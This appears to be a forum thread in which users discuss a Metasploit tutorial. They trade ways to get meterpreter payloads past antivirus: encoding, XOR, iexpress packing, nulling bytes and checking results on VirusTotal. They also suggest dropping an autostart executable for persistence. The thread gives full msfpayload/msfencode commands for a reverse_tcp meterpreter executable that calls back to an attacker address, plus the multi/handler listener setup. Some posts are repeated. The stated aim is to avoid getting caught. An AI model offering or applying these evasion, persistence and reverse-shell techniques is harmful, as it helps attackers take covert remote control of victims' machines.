gee thanks
So is this method pretty much redundant now or has anyone found a way to encode it so they don't get caught? Also, when you migrate to a process, is this a permanent thing if you choose a boot process? IE: because the process loads at boot meterpreter is still part of it and gives you a connection every time?
I don't know ASM well enough to start XOR'ing it but thats what I am working on learning now. SoftwarePassport's Armadillo might do the trick but I don't have a copy. Trying to find open source DRM products is pointless... encoding and then packing iexpress still only gives about 4 triggers on virus total but avast is popular and free.Originally Posted by SilvaRizla
i believe the AV is detecting the methods for encoding not the payload and triggering on that. I have not done enough testing to say for sure and without knowing the sig the AV is triggering on I cant fix the byte code. I have not tried something like going line by line thru the hex and nulling lines then trying it. but if someone does I would be curious to know what they found.
as far as migrating assuming your using a method that uses reflective loading of the meterpreter dll (most methods) the dll is injected into the memory and never touches the disk. in fact if I understand correctly you cant even really scan and detect it low level. when you migrate you are either linking or pushing the dll onto another process that's running. again it never touches the disk. so as soon as the machine is rebooted the dll lost. you would need to upload an exe to the disk that auto starts at boot if you want something permanent.
man i have to tell u BIG thanks for this tutorial...lova ya
@rmills
I've had the AV detection problem as well. Tonight I'll go through with a hex editor and try nulling out some lines. If anyone is interested, someone posted an article a while back on how to do this.
hxxp://packetstormsecurity.org/papers/virus/Taking_Back_Netcat.pdf
Sorry for not giving credit to the person that found it, but I just bookmarked the link and can't remember where I got it.
I haven't had a lot of experience with it, but just from reading the article, it doesn't seem too difficult. I'll report back within the next couple of days.
Thanks for the link, going to give it a read. Let me know what you find with the hex editor.
Also, i wanted to try what is presented in the first half of this video. Very helpful.
hxxp://w w w.offensive-security.com/videos/shmoocon-presentation-2008-video/piss-on-your-av.html
Unfortunately, it's been a while since ive tried the reverse_tcp > exe payload and now im having issues. All I get when running multi/handler is
Just sits there even though I can confirm on the target computer that the output.exe process began running. The exact commands I used wereCode:[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...
to create the .exe and thenCode:./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=5555 R | ./msfencode -b '' -t exe -o output.exe
to listen.Code:bt ~ # ./msfconsole msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp msf > set LHOST 192.168.0.101 msf > set LPORT 5555 msf > show options msf > exploit
Both systems are on the same subnet. Targen IP=192.168.0.102 running windows xp SP3, all firewalls/AV disabled. Attacking IP=192.168.0.101 running BT4 prefinal. I was hoping this configuration would be easy since i got it working before. Something changedand now i cant even start to look at avoiding AV. Any help appreciated!
try single encoding with "-e x86/fnstenv_mov" i think there is an issue with the default encoder right now. you might try pulling down the latest SVN as well.
Also, i wanted to try what is presented in the first half of this video. Very helpful.
hxxp://w w w.offensive-security.com/videos/shmoocon-presentation-2008-video/piss-on-your-av.html
Unfortunately, it's been a while since ive tried the reverse_tcp > exe payload and now im having issues. All I get when running multi/handler is
Just sits there even though I can confirm on the target computer that the output.exe process began running. The exact commands I used wereCode:[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...
to create the .exe and thenCode:./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=5555 R | ./msfencode -b '' -t exe -o output.exe
to listen.Code:bt ~ # ./msfconsole msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp msf > set LHOST 192.168.0.101 msf > set LPORT 5555 msf > show options msf > exploit
Both systems are on the same subnet. Targen IP=192.168.0.102 running windows xp SP3, all firewalls/AV disabled. Attacking IP=192.168.0.101 running BT4 prefinal. I was hoping this configuration would be easy since i got it working before. Something changed
I just restarted the target machine without changing a thing and it worked. No idea. Thanks for the quick response though!
Check out that presentation though, very interesting and easy to follow. Hopefully I'll report back soon.
np, i am going to check it out too. Thanks for posting it.I just restarted the target machine without changing a thing and it worked
Check out that presentation though, very interesting and easy to follow. Hopefully I'll report back soon.
Posting Permissions
